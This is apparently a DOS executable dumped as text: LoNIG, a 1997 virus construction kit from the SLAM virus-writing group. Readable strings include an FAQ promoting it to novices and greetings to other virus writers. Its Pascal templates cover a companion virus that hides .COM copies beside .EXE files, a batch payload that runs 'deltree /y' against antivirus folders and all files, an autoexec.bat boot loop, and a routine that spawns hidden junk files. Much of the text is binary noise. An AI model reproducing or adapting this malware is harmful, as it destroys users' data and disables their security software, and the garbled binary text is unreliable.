MZ=?{{@Q %*/7INS]blq{ "'/9>HM_disx-=GUjy#9CHRWafw&.9KPU]eot ).@EJTYasx}   % * / 4 ? G O a f k s }     0 5 : D I w '16@EW\akpz.38JOTfkp*/4>CUZ_hp{ ,6;EJ\afpu ).3EJOafk} $).@EJ\afx}  .;@EOTfkpy  %*49JTYchz27<DVchm ',1CQ^chz "',>CHZ_dv{ #(:?DV[`rw|    $ 6 ; @ R W \ n s x !!!!p////////////////000-02070I0N0S0e0r0}000000000000000 111%1*1/1A1F1K1]1b1g1y1~111111111111112 22!2&2+2=2B2G2Y2^2c2u2z2222222222222233 33"3'393>3C3U3Z3_3q3v3{333333333333334444#454:4?4Q4V4[4m4r4w44444444444444455551565;5M5R5W5i5n5s5555555555555555666-62676I6N6S6e6j6o6666666666666666 777)7.737E7J7O7a7f7k7}777777777777777 8888"879V9[9i9~999999999999999::::!:+:0:::?:I:N:c:h:m:x::::::::::::::::;;; ;2;?;D;I;[;`;e;w;|;;;;;;;;;;;;;;<< <<,<9<><C<U<Z<_<q<v<{<<<<<<<<<<<<<< ====j>>>>>>>>>>>>>>? ??%?*?4?9?K?P?U?_?d?n?s?}???????????????@ @@@$@)@;@@@E@O@W@\@n@s@x@@@@@@@@@@@@@@@ AAA&A+A0ABAPA]AbAgAyAAAAAAAAAAAAABBB#B(B:B?BDBVB[B`BrBwB|BBBBBBBBBBBBBBC~EEEEEEEEEEEEEFFFF/F4F9FCFHF[F`FeFyF~FFFFFFFFFFFFFFG GG!G&G+G=GBGGGQGVG`GeGtG~GGGGGGGGGGGGGGGHH HH&H+H0H:H?HpHHHHHHHHHHHHHI III,I9I>ICIRI\IaIkIpIIIIIIIIIIKLLLL%L7LTWTWTWiTWdTWnTWTWTWdTWn]UWTWWWPu>TWTWTWiTWdTWnTWTWTWdTWn] FAQ to LoNIG:What is LoNIG?ILoNIG is a tool to create virii without knowing any programming language,"that means especially 4 lamers. ;)LYou can choose between various payload functionZ, e.g. invasion, retro, textFdisplay, looping the boot process of the compy, fake the autoexec.bat."How many lines does the prog have?1Around 700 lines. Coded in PURE Pascal, of coz...DThere is sometimes a compilation error ('; missing'). What' wrong?YYou entered a text containing a '. If you'd like the virii display a ' you must enter ''.BFurthermore you mustn't enter a number without a letter before it! Also avoid ',,' for the name!U1Pc P}PPWW1P PcP}WWW1PWPcWW1PWW1PW%W1PWrW1P PcWWW1PWPcWW1PW PcWW1PWPcWSW1PWW1PWW1PW]P GreetingZ fly to (in alphabetic order) : 1 ALL WHO KNOW ME!!!= cicatrix -==-GREAT VDAT-==- Continue it!!L Neophyte -==-Still waiting for your mail!-==- Email me, plz!!M NJ [SLAM] -==-Never let our contact break up -==- Always mail me!!L ALL SLAMers of coz -==- SLAM forever!!!!!!!!!!!!!!!!!!!!!!!!!!!-==- COOLOVirby -==- Hello VB! -==- I wish you good luck forever!! Please email me again!U1PP Pc P}W. W1PP}WPcW W1P PcW W1PW W1PW< W1PW W1PW W1PW]cfg.pcvfake_autoexec; FAKE AUTOEXEC-Endless looping process by booting the compy.>>> writing code to Procedure fake_autoexec;Var ph:text;phile:string;Beginphile:='c:\autoexec.bat';assign(ph,phile); append(ph);writeln(ph,'c:\autoexec'); close(ph);end;{loops the boot process}OK!UPPWM WW~Wi~WOP~uiTWM WTWiTWdTWnTWU W1PTWXTWM WTWdTWnTWU W1PTWWW(Wd W1PP}WPcWr W1PPcW W1PTW1PTW W1PTW W1PTW W1PTW W1PTW W1PTW W1PTW& W1PTWA W1PTWL W1PTWQ W1PTWWj W1PPP}]cfg.pcv invasion;INVASION8Enter the number of the philes the virii should create :>>> writing code to Procedure invasion;#Var n:integer; name:string; f:text;Begin For n:= 1 to do begin randomize;ename:=chr(random(10)+65)+chr(random(10)+65)+chr(random(10)+65)+chr(random(10)+65)+chr(random(10)+65);name:=name+chr(random(10)+65);assign(f,name); rewrite(f); reset(f); append(f);0writeln(f,'INVASION CAUSED BY Artificial Life'); close(f);setfattr(f,hidden);end; {generates  hidden garbage philes}OK!UWvWWTWiTWOP>TuiTWvWTWiTWdTWnTW~W1PTWXTWvWTWdTWnTW~W1PTWWW#WW1P;WP}WW1PW-FVPcWW1PTW1PTWW1PTWW1PTWW1PTWW1Pvv1P+W1PTW5W1PTW@W1PTWW1PTWW1PTWW1PTWW1PTWW1PTWW1PTW'W1PTW1W1PTWEW1PTWEW1PTWJW1Pvv1PVW1PTWWnW1PPP}]cfg.pcvretro;RETRO0Enter the name of the AV-prog you want to kill: >>> writing code to Procedure retro;Var hb, autoexec:text;Begin8assign(hb,'c:\.bat'); {now let's make the ASCII255.BAT} rewrite(hb); append(hb);writeln(hb,'@echo off');writeln(hb,'deltree /y *.*');"writeln(hb,'deltree /y antiv*.*');writeln(hb,'deltree /y av*.*');writeln(hb,'@echo off'); writeln(hb,'deltree /y fp*.*');"writeln(hb,'deltree /y fprot*.*');"writeln(hb,'@echo off'); $writeln(hb,'deltree /y f-prot*.* ');!writeln(hb,'deltree /y scan*.*');"writeln(hb,'deltree /y suspi*.*');"writeln(hb,'deltree /y drsol*.*');"writeln(hb,'deltree /y tbav*.*'); "writeln(hb,'deltree /y mcaf*.*'); &{A messy for the next boot process...}6writeln(hb,'echo No Av-PrOg WiLl ExIsT iN fUtUrE!!!');?writeln(hb,'echo Brought to you by the giant [SLAM] vx group');writeln(hb,'pause');close(hb); >assign(autoexec,'c:\autoexec.bat'); {prepare autoexec.bat...}reset(autoexec);append(autoexec);writeln(autoexec,'');close(autoexec);end;OK!UWWWTWiTWOP>TuiTWWTWiTWdTWnTWW1PTWXTWWTWdTWnTWW1PTWWW忸WW1PWP}WW1PP} PcP}WWPPcWW1PTW1PTWW1PTWW1PTW W1PTWW1PTWIW1PTWVW1PTWbW1PTW{W1PW1PW1PTWbW1PTWW1PTWbW1PTWW1PTWW1PTWW1PTWW1PTWW1PTW@W1PTWcW1PTWbW1PTWW1PTWbW1PTWW1PTWbW1PTWW1PTWbW1PTWW1PTWbW1PTWW1PTW@W1PTW6W1PTW]W1PTWW1PTWW1PTWW1PTWW1PTW<W1PTWMW1PTW_W1PTWvW1PTWW1PTWWW1PP]Q{-------------------- This virus was created by LoNIG ------------------------ }P{Lord of nAvAn's INVASION GENERATOR was written 4 educational purposes only ! }Q{Having this auto-generated virus on your computer you accept that YOU (--> }Q{and ONLY you) are responsible for your actions with that virus!!!If you do }P{NOT accept this you must delete it. But anyway, don't yell at *me* if your }P{philes are damaged. Actually, I'm NOT responsible for ANY troubles caused } {by LoNIG!}Q{----------------------------------------------------------------------------- }Program Uses Dos,Crt;{$M 59999,0,8000}DVar Inf,Inf2:Searchrec; {Used in the EXE and phile_exist routines }0 Infected:Boolean; {Is a phile infected? }I Params:Byte; {Loop Index for adding all parameters together }O All_Parameters:String; {This string contains the whole list of parameters< originally passed to the program } P:PathStr; {Used}" D:DirStr; {in} & N:NameStr; {the}7 E:ExtStr; {FSplit procedure.}&Procedure Check_Infected(Path:String);Begin FSplit(Inf.Name,D,N,E);( FindFirst(Path+N+'.COM',Anyfile,Inf2); Infected:=(DosError=0);End;2Procedure CopyFile(SourceFile, TargetFile:string);var Source, Target : file; BRead, Bwrite : word;$ FileBuf : array[1..2048] of char;$Begin $ Assign(Source,SourceFile); H SetFattr(Source,$20); {Set the phile attributes of the}I {hidden COM companion we're going}I {to be copying to archive so that}@ {it's possible read it. } {$I-} Reset(Source,1); {$I+} If IOResult <> 0 then Begin I Exit; {Couldn't open the source phile! }I End; I Assign(Target,TargetFile); I {$I-} I Rewrite(Target,1); I Exit; {Couldn't open the target phile! }J End; J Repeat J BlockRead(Source,FileBuf,SizeOf(FileBuf),BRead); J 1 BlockWrite(Target,FileBuf,Bread,Bwrite);1 Until (Bread = 0) or (Bread <> BWrite); 1 Close(Source); 1 Close(Target); B SetFattr(Source,3); {Set companion attribute to hidden}B SetFattr(Target,3); BEnd;{CopyFile} BProcedure Find_Infect(Path:String); B{Find and Infect!} BBegin E FindFirst(Path+'*.EXE',AnyFile,Inf); {Check for .EXEs to infect! }E While DosError=0 Do Begin E Infected:=False; K Check_Infected(Path); { Check if the .EXE found is already infected. } If Not Infected then Begin* CopyFile(ParamStr(0),Path+N+'.COM');* End;  FindNext(Inf); End;End;{Find_Infect}U1}ԿTW"!W1PTWt!W1PTW!W1PTW"W1PTWi"W1PTW"W1PTW #W1PTW#W1PTWi#W1PTW1P;P1P{TWr#W1PTW#W1PTW#W1PTW#W1PTW#W1PTW $W1PTWS$W1PTW$W1PTW$W1PTW%W1PTW#%W1PTWJ%W1PTW%W1PTW%W1PTW%W1PTW%W1PTW%W1PTW &W1PTW&W1PTWD&W1PTWH&W1PTWR&W1PTWc&W1PTWl&W1PTW}&W1PTW&W1PTW&W1PTW&W1PTW5'W1PTW'W1PTW'W1PTW (W1PTW(W1PTW)(W1PTW3(W1PTWM(W1PTWg(W1PTW(W1PTW(W1PTWE)W1PTW)W1PTW)(W1PTW3(W1PTWM(W1PTW)W1PTW#*W1PTWn*W1PTW*W1PTW+W1PTWO+W1PTW+W1PTW+W1PTW+W1PTW,W1PTWZ,W1PTW,W1PTW,W1PTW#-W1PTWf-W1PTW-W1PTW-W1PTW5.W1PTW{.W1PTW.W1PTW.W1PTW/W1PTW>> writing code to Procedure display;Var text:string;BeginClrscr; randomize;textcolor(random(10)+2);text:='';writeln(text);readln;end;{displays the text }OK!UPPW&8WW~Wi~WOP~uiTW&8WTWiTWdTWnTW.8W1PTWXTW&8WTWdTWnTW.8W1PTWWWhƿW78W1PɰP}WW<8W1P PcP}WTWP PcWs8W1PPcWTW1PPcW8W1PTW1PTW8W1PTW8W1PTW8W1PTW8W1PTW8W1PTW8W1PTW8W1PTW8W1PTW1P8W1PTW8W1PTW9W1PTW 9W1PTW9W1PTW1P'9W1PTW8W1PTWW*9W1PP]cfg.pcvbeep;Beeper(Enter how often the compy should beep : Enter the frequency : Enter the delay value : 6Enter the delay value of the pause between the beeps: >>> writing code to Procedure beep;Var beep:integer;BeginFor beep:=1 to do beginsound();delay(nosound;end;{lets the compy beep times }OK!UW#=WWTWiTWOP>TuiTW#=WTWiTWdTWnTW+=W1PTWXTW#=WTWdTWnTW+=W1PTWWW4hĿW1=W1PP}WW8=W1PP}W-FWa=W1PW-FWx=W1PW-FW=W1PW-FPcW=W1PTW1PTW=W1PTW=W1PTW=W1PTW>W1PTW>W1PFRP1P>W1PTW >W1PFRP1P'>W1PTW*>W1PFRP1P'>W1PTW1>W1PTW*>W1PFRP1P'>W1PTW:>W1PTW1>W1PTW:>W1PTW?>W1PFRP1PU>W1PTW=W1PTWW]>W1PP].{--------------------------------------------}Begincfg.pcv0 Find_Infect('C:\DOS\'); ( Find_Infect('C:\MSDOS\'); $ Find_Infect('');  FSplit(ParamStr(0),D,N,E); S All_Parameters:=''; {Vars must be initialized} P For Params:=1 To ParamCount M do All_Parameters:=All_Parameters+ParamStr(Params)+' '; K Exec(D+N+'.EXE',All_Parameters); {Execute the phile that the user}End.>Finished! A new virii is sitting in your compy! Be nice to it! Its name is: UPPkTW CW1PTW8CW1PTWTW>CWTWdTWTWTWdTWuLTWWPTWnTWW1P롿TWFCW1PTWwCW1PTWCW1PTWCW1PTWCW1PTW8DW1PTWDW1PTWDW1PTWTWTWTWTWdTWnTW#EW1PTWTWW(EW1P PcWgEW1P PcWTW1PW]cfg.pcv>>> writing code to OK!UPPWEHWW~Wi~WOP~ujTWEHWTWiTWdTWnTWMHW1PTWPcWNHW1PTW1PTWEHWTWdTWnTWMHW1PTWWcHW1PP]P LoNIG - Lord of nAvAn's INVASION GENERATOR 6 Coded by: Lord of nAvAn [SLAM]2 (C) 1997 / v.1.0 1You are about to create a Companion Pascal Virii!+Choose of the following payload functions: PO tEXT rETRO fAKE AUTOEXEC bEEP oNLY REPLICATE iNVASION P gREETINGZ FAq PLAcES WHERE TO GET IT ExIT F I N I s H T H E V I R I IU1>Rxu|WP} PcWIW1PP} PcWJW1PPcWNJW1PWWW PcP}WJW1PWP} PcWJW1PWJW1PPcW0KW1PWJW1PPcWKW1P PcWJW1PPP PcP}WKW1PP}W5RRtXπ>ut^C6G#m6W 6w6O6o:w':w#xx:w:.w A>6%>ʊ˸PX>:u2ˋ6W6wr:w6r :6w**ˋ6Gt$ &p6G$&&ˀˠˋ6OD3&3-r&:tË6_4;sau aCBBa$aˀ>utˠ u2 u & uˋ6EEE ]EgME06}ˁ}t E׸L؉EM]MMM3U~&UJJ&u&} 3\<t4<t0<tDI<t'<t#<t7<tF< tO< r;t&C;v t }K;t&< rjC둀>t&C N& CC~3&E&] ]6&M&)M&} >u &G33  SQRPrX<t*<t-< t3< t5 2RcZ:v O:t -ZY[:6vQR>ZYô2 2DPڋ&<t!<t,< t5< t9G:vG0DP&J2‹ȋcBJB;tcQRW+D&J2c>IJuH> tutë笫_ZYVWU]_^Uv2~GVv 22OCVB!^rt%~G;t3<;t;u:t€\t\븋~+H]U v~<v@?uRuntime error at . Portions Copyright (c) 1983,92 Borland3<˃><uˡ<p6D&;U|&;r&;U|&;Ew˸HBr +s ;:r˸*3ҋ66w3׫3Et 3O u :v t26 6G&E6G&E 6G&E3&E&E U~&E=t=t =t<f$RW%Z3&U&E&E Lt&E]U~&}t&}t<gPX t  &E]WW& t<_Ë6&U &M&?!r&E 3&E&E 6&U 3&M&@!r+te6&U 3&M&@!r36&v>!r3><u5&u.&w&;w t+SR&W &_ +[&w u<hPQRWS3[_ZYX&w&;w uÃ><u@&u9&O&++s3&w  +&&;u RS[Z u<iÃ><uH&uA&O&++s3S&_ +[&&;u PRVS[^ZX u<iU^3u &tp]< t <t;u;t < tN3øU^PXu &t-]U^&t ><u]S&_ t<S&_ t<U><u8^&u'&&; u^&&; t&G&_ &]<hU^ VJ~m><u)&u%&G&&W&_ F&A;u^ _]<iU^ N~V G~+H]< t<t ;N3U^&2^ V+~PX t vV F]U ^d ~Uύ~+tcr <j3Ћ]ˬ< w<t;udì< v ;uN3U FV ~^ V+~QWK_Y] U^3]<tt< tt < w;uIN3Ë6W0A!s<3UPv~O u :v t2V 0~V!s<v~ 0 u]܌66w2܌6w 66O:v2 ܌6 6w26O +r@6O }3;v3܌66w& 2&s&GUv t,2~& 2+rAGuNjًItˋv F3H+F]܌6w6&%G:v t2u:Ď66G܌6 6w6GU~}FW~ WPFHP~WW~ WvP~ Wvx] U~~\~~V~O~~FW~ WPFHPXW~ WFFPP>{~ WP ]63ɉ =}t }t<}0t U0!rZ 33ہ}t/D!€`ȋu}u+;33E׉EUM]EE333ɋB!-s33ҋʋЋB!?!s33;t tC+йB!3ɋ@!ËϾ y؃O&-A3ғ0:rO& u+333]&=+t&=-uNGItL&=$tH&: s%u6SRP[[[2ÃGЋ t y؃3xGIt&ar : r sɀ ru G y؃ÿR+3@